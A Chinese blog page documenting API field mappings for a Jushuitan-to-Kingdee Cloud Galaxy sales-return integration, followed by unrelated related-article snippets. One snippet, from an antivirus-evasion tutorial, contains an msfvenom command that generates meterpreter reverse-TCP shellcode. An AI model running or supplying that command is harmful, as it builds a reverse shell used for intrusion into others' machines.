金蝶云星空和聚水潭单据接口对接

news2024/11/25 9:57:05

金蝶云星空和聚水潭单据接口对接

金蝶云星空接口

对接源平台:聚水潭

聚水潭成立于2014年,创始人兼CEO骆海东拥有近三十年传统及电商ERP的研发和实施部署经验。聚水潭创建之初,以电商SaaSERP切入市场,凭借出色的产品和服务,快速获得市场的肯定。随着客户需求的不断变化,如今聚水潭已经发展成为以SaaSERP为核心,集多种商家服务为一体的SaaS协同平台。经过8年多的发展,公司员工从2014年成立之初的9人增加到现在近4000人。聚水潭已在全国设立了超过100个线下服务网点,服务范围覆盖超过400个城镇,为客户提供及时、周到和专业的服务。

对接目标平台:金蝶云星空

金蝶K/3Cloud(金蝶云星空)是移动互联网时代的新型ERP,是基于WEB2.0与云技术的新时代企业管理服务平台。金蝶K/3Cloud围绕着“生态、人人、体验”,旨在帮助企业打造面向新时代的生态互联与协同平台,围绕生态中的每个角色,提供随手可得的云服务,最终实现敏捷协同,智慧运营的企业运营新境界。整个产品采用SOA架构,完全基于BOS平台组建而成,业务架构上贯穿流程驱动与角色驱动思想,结合中国管理模式与中国管理实践积累,精细化支持企业财务管理、供应链管理、生产管理、供应链协同管理、人力资源管理等核心应用。技术架构上该产品采用平台化构建,支持跨数据库应用,支持本地部署、私有云部署与公有云部署三种部署方式,同时还在公有云上开放中国第一款基于ERP的协同开发云平台。任何一家使用金蝶K/3Cloud产品的企业,其拥有的是包含金蝶在内的众多基于同一个平台提供服务的IT服务伙伴。

数据接口配置方案

异构系统具有非常丰富的业务流程、复杂的系统架构和服务接口。在很多情况下,这两个系统都是分别独立部署和运行的,各自拥有不同的技术栈和编程模型,甚至两者在系统平台、技术平台和编程语言上是完全异构的。那么对接就需要根据接口配置对应的规则,例如取数就要根据查询接口获取聚水潭的数据,并且根据对应的条件进行取数,目标系统就必须根据目标系统的格式,以及获取的数据进行加工处理后进行写入到金蝶云星空中。轻易云集成平台的可视化配置轻松实现。

数据集成方案

聚水潭接口明细

  • 接口:refund.single.query
  • 接口名称:退货退款查询
  • 接口方法:POST
请求参数
字段名称类型描述
shop_id店铺编号string店铺编号
is_offline_shopshop_id为0且is_offline_shop为true查询线下店铺单据stringshop_id为0且is_offline_shop为true查询线下店铺单据
modified_begin修改起始时间string修改起始时间,和结束时间必须同时存在,时间间隔不能超过七天,与线上单号不能同时为空
modified_end修改结束时间string修改结束时间,和起始时间必须同时存在,时间间隔不能超过七天,与线上单号不能同时为空
so_ids线上订单号string指定线上订单号,和时间段不能同时为空
shop_buyer_ids指定买家账号string指定买家账号,最多50
page_index第几页,从第一页开始,默认1string第几页,从第一页开始,默认1
page_size每页多少条,默认30,最大50string每页多少条,默认30,最大50
响应参数
字段名称类型描述
as_date申请时间string申请时间
outer_as_id平台退货退款单号string平台退货退款单号
o_id内部单号string内部单号
so_id线上单号string线上单号
created登记时间string登记时间
modified修改时间string修改时间
status状态string状态(WaitConfirm:待确认,Confirmed:已确认,Cancelled:作废,Merged:被合并)
shop_status订单对应状态stringWAIT_SELLER_AGREE:买家已经申请退款,等待卖家同意,WAIT_BUYER_RETURN_GOODS:卖家已经同意退款,等待买家退货,WAIT_SELLER_CONFIRM_GOODS:买家已经退货,等待卖家确认收货,SELLER_REFUSE_BUYER:卖家拒绝退款,CLOSED:退款关闭,SUCCESS:退款成功
remark备注string备注
question_type问题类型array问题类型
warehouse仓库string仓库
refund退款金额string退款金额
payment补偿金额string补偿金额
good_status货物状态string货物状态(BUYER_NOT_RECEIVED:买家未收到货,BUYER_RECEIVED:买家已收到货,BUYER_RETURNED_GOODS:买家已退货,SELLER_RECEIVED:卖家已收到退货)
node售后线下备注string售后线下备注
order_status原订单状态string原订单状态
shop_id店铺编号string店铺编号
logistics_company物流公司string物流公司
l_id物流单号string物流单号
wh_id仓库编号string仓库编号
wms_co_id分仓编号string分仓编号
confirm_date最后确认日期string最后确认日期
freight卖家应退运费string卖家应退运费
drp_co_id_from分销商编号string分销商编号
receiver_mobile收件人电话string收件人电话
receiver_name收件人名称string收件人名称
shop_buyer_id买家账号string买家账号
items商品列表array商品列表
items.as_idERP售后单号stringERP售后单号
items.type类型(退货,换货,补发)string类型(退货,换货,补发)
items.asi_id售后子单号string售后子单号
items.sku_id商品编码string商品编码
items.qty数量string数量
items.price单价string单价
items.amount金额string金额
items.name商品名称string商品名称
items.pic图片地址string图片地址
items.properties_value颜色规格string颜色规格
items.outer_oi_id子订单号string子订单号
items.sku_type商品类型string商品类型
items.r_qty实收退货数量string实收退货数量

金蝶云星空接口明细

  • API:batchSave
  • NAME:销售退货新增
  • METHOD:POST
请求参数
接口字段字段名称预设值描述
FBillTypeID单据类型XSTHD01_SYS单据类型
FBillNo单据编号{{items_asi_id}}单据编号
FSaleOrgId销售组织100组织
FDate日期{{items_receive_date2}}日期
FStockOrgId库存组织100组织
FRetcustId退货客户function CASE WHEN '{{shop_id}}' in ('11672726','11691290') THEN 'A002' WHEN '{{shop_id}}' in ('11709868','11691314','11670916') THEN 'A003' WHEN '{{shop_id}}' in ('11879570') THEN '11879570' WHEN '{{shop_id}}' in ('12166243') THEN '12166243' WHEN '{{shop_id}}' in ('12310936') THEN '12310936' ELSE 'A002' END基础资料
FSettleCurrId结算币别PRE001基础资料
FHeadNote备注{{as_id}}多行文本
FEntity明细信息
FEntity.FMaterialId物料编码{{items_sku_id}}基础资料
FEntity.FRealQty实退数量{{items_r_qty}}数量
FEntity.FPrice单价{{items_price}}单价
FEntity.FTaxPrice含税单价{{items_price}}单价
FEntity.FIsFree是否赠品_function case '{{items_price}}' when '0' then true else false end复选框
FEntity.FEntryTaxRate税率%小数
FEntity.FReturnType退货类型THLX01_SYS单选辅助资料列表
FEntity.FOwnerTypeId货主类型BD_OwnerOrg多类别基础资料列表
FEntity.FOwnerId货主100多类别基础资料
FEntity.FStockId仓库A9基础资料
FEntity.FNote备注文本
FEntity.SubHeadEntity财务信息
FEntity.SubHeadEntity.FSettleOrgId结算组织100组织
FEntity.SubHeadEntity.FormId业务对象表单IdSAL_RETURNSTOCK必须填写金蝶的表单ID如

😛

UR_PurchaseOrder
FEntity.SubHeadEntity.Operation执行的操作Save
FEntity.SubHeadEntity.IsAutoSubmitAndAudit提交并审核false
FEntity.SubHeadEntity.IsVerifyBaseDataField验证基础资料false是否验证所有的基础资料有效性,布尔类,默认false(非必录)
FEntity.SubHeadEntity.SubSystemId系统模块21默认仓库模块

系统对接总览

全面管控企业的API资产,梳理现有业务系统的API。实现API文档的统一管理,建立API的上线、下线、监控的统一管理体系。API低代码开发平台能够实现低代码或零代码一键发布API服务,很好地解决企业用户上面的问题。轻易云应用集成主要解决已有应用系统的无序蔓延现象,减少各业务系统间的维护成本,减少各应用系统的操作系统、开发语言、访问协议、通信技术多而杂、整合难度大的问题,将企业数据平滑对接,减少信息竖井。

ERP与电商数据对接

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1043866.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

如何给Nginx配置访问IP白名单

一、Nginx配置访问IP白名单 有时部署的应用需要只允许某些特定的IP能够访问,其他IP不允许访问,这时,就要设置访问白名单; 设置访问白名单有多种方式: 1.通过网络防火墙配置,例如阿里云/华为云管理平台 2.…

计算机竞赛 深度学习人脸表情识别算法 - opencv python 机器视觉

文章目录 0 前言1 技术介绍1.1 技术概括1.2 目前表情识别实现技术 2 实现效果3 深度学习表情识别实现过程3.1 网络架构3.2 数据3.3 实现流程3.4 部分实现代码 4 最后 0 前言 🔥 优质竞赛项目系列,今天要分享的是 🚩 深度学习人脸表情识别系…

数独C++代码实现

数独是源自18世纪瑞士的一种数学游戏。中文中“数独”一次,实际上是源自于日语对于数独的音译。是一种运用纸、笔进行演算的逻辑游戏。玩家需要根据99盘面上的已知数字,推理出所有剩余空格的数字,并满足每一行、每一列、每一个粗线宫&#xf…

LeetCode 75.颜色分类

题目链接 力扣(LeetCode)官网 - 全球极客挚爱的技术成长平台 题目解析 题意很清楚,让0,1,2按照顺序排好,但是不能使用sort库函数。 将数组分为四部分,分别是: // [0,left] 0 // [left,i] 1 // [i,right] 未…

华为数通方向HCIP-DataCom H12-831题库(单选题:161-180)

第161题 某台路由器Router LSA如图所示,下列说法中错误的是? A、本路由器已建立邻接关系 B、本路由器为DR C、本路由支持外部路由引入 D、本路由器的Router ID为10.0.12.1 答案: B 解析: 一类LSA的在transnet网络中link id值为DR的route id ,但Link id的地址不是10.0.12.…

Unity之NetCode多人网络游戏联机对战教程(4)--连接申请ConnectionApproval

文章目录 前言适用场景1. 准备2.新建GameManager3.编译运行4.脚本详解后话 前言 没看过前面的教程请先阅读前面的教程,本期将会讲到Netcode联机的申请,当一个Client想连接进来,应向Server发送申请联机的信息,然后由服务端向客户端…

EasyExcel的源码流程(导入Excel)

1. 入口 2. EasyExcel类继承了EasyExcelFactory类,EasyExcel自动拥有EasyExcelFactory父类的所有方法,如read(),readSheet(),write(),writerSheet()等等。 3. 进入.read()方法,需要传入三个参数(文件路径…

免杀对抗-C#+go语言-混淆+防反编译+分离

C#&NET-ShellCode-生成/上线 一、生成: 1.msf生成C#语言的shellcode 命令:msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST192.168.206.192 LPORT4444 -e x86/shikata_ga_nai -i 15 -f csharp 二、上线: 1.c#语言shellcode加载代…

如何通过PreMaint设备管理提高制药行业的质量控制和合规性

在制药行业,确保产品的质量和合规性是至关重要的。制药企业必须严格遵守各种法规,以满足患者的需求并确保他们的产品安全有效。为了达到这些目标,制药企业越来越倾向于采用现代化的设备管理系统,如PreMaint。本文将探讨如何通过Pr…

ElementUI之动态树及书籍的分页查询

目录 一.前言 二.Element之动态树 2.1 后台 2.2 前台 三. 动态表格--书籍的分页查询 一.前言 本文章是继上篇的案例之上教大家如何使用ElementUI去实现动态树和书籍的分页查询,如果有不懂的大家可以翻看上篇的博客查看,其中的样式是ElementUI的官网提…

任正非:天空足够大,世界会越来越兴盛

近日,华为公司创始人任正非与南开大学新闻与传播学院院长、科技日报原总编辑刘亚东今年7月7日在深圳一间咖啡厅的对话最新曝光。 在对话过程中,任正非以“拉法尔喷管”来描述华为的研发体系: “喇叭口”吸收宇宙能量,经过理论研究&#xff0…

JetBrains常用插件

Codota AI Autocomplete Java and JavaScript:自动补全插件 Background Image plus:背景图片设置 rainbow brackets:彩虹括号,便于识别 CodeGlance2: 类似于 Sublime 中的代码缩略图(代码小地图&#xff…

中睿天下荣获2023全国智能驾驶测试赛车联网安全比赛第一名

9月24日,由工业和信息化部、公安部、交通运输部、中国科学技术协会、北京市人民政府共同主办的2023世界智能网联汽车大会展览会在北京闭幕。同期举行的全国智能驾驶测试赛(京津冀赛区)宣布比赛结果,中睿天下凭借过硬的产品实力&am…

Elasticsearch实现全文搜索的步骤和实现原理

Elasticsearch实现全文搜索的步骤和实现原理 ElasticSearch是什么springboot项目,如何接入 ElasticSearch实现全文搜索?Elasticsearch实现全文搜索的原理是什么?ElasticSearch是什么 ElasticSearch(简称为ES)是一个基于开源的分布式搜索和分析引擎,它提供了强大的全文搜…

excell导入十万数据慢该如何解决

1.遇到的问题 项目中遇到导入6w条数据,之前用的poi,感觉很慢,这时查询了下阿里巴巴提供了开源的easyExcell很好用。 EasyExcel官方文档 - 基于Java的Excel处理工具 | Easy Excel 2.读写速度 64M内存20秒读取75M(46W行25列)的Excel&#x…

Morph:利用AI+无代码,分析整理数据,让数据分析变得更加简单

简介 Morph 是一款一体化的数据工作室,可以让用户实时协作处理数据任务,并提供 AI 辅助来收集、排序和分析数据。它设计用来处理数百万条记录,并且为开发者提供强大的 API 支持。Morph 旨在让每个人都能够通过一个简单的界面轻松地收集、存储…

Vue中动态树形菜单,以及

🏅我是默,一个在CSDN分享笔记的博主。📚📚 🌟在这里,我要推荐给大家我的专栏《Vue》。🎯🎯 🚀无论你是编程小白,还是有一定基础的程序员,这个专栏…

根据文章段落内容自动插入图片php版

每篇内容根据段落判断插入图片代码附上&#xff1a; $chatd"<table>";if(stripos($content,$chatd)0){//随机输出三张图功能if($moduleid!37 &&$thumb){//判断是否存在图$idrand(1,999999);$midrand(1,9999999);$getimg"http://www.nongpin88.co…

进程管理--进程创建

标记进程 PID: 进程/线程ID 一个唯一的进程标识符&#xff08;PID&#xff09;来标识进程&#xff0c;PID存放在进程描述符的pid字段中。PID顺序编号&#xff0c;新创建进程的PID通常是上一个进程PID1 TGID&#xff1a;进程ID/线程组ID 一个进程中的所有线程共享相同的tgid…

【漏洞复现】Jeecg-Boot SQL注入漏洞(CVE-2023-34659)

漏洞描述 jeecgBoot是一款基于BPM的低代码平台!前后端分离架构 SpringBoot 2.x,SpringCloud,Ant Design&Vue,Mybatis-plus,Shiro,JWT,支持微服务。强大的代码生成器让前后端代码一键生成,实现低代码开发!JeecgBoot引领新低代码开发模式 OnlineCoding-> 代码生…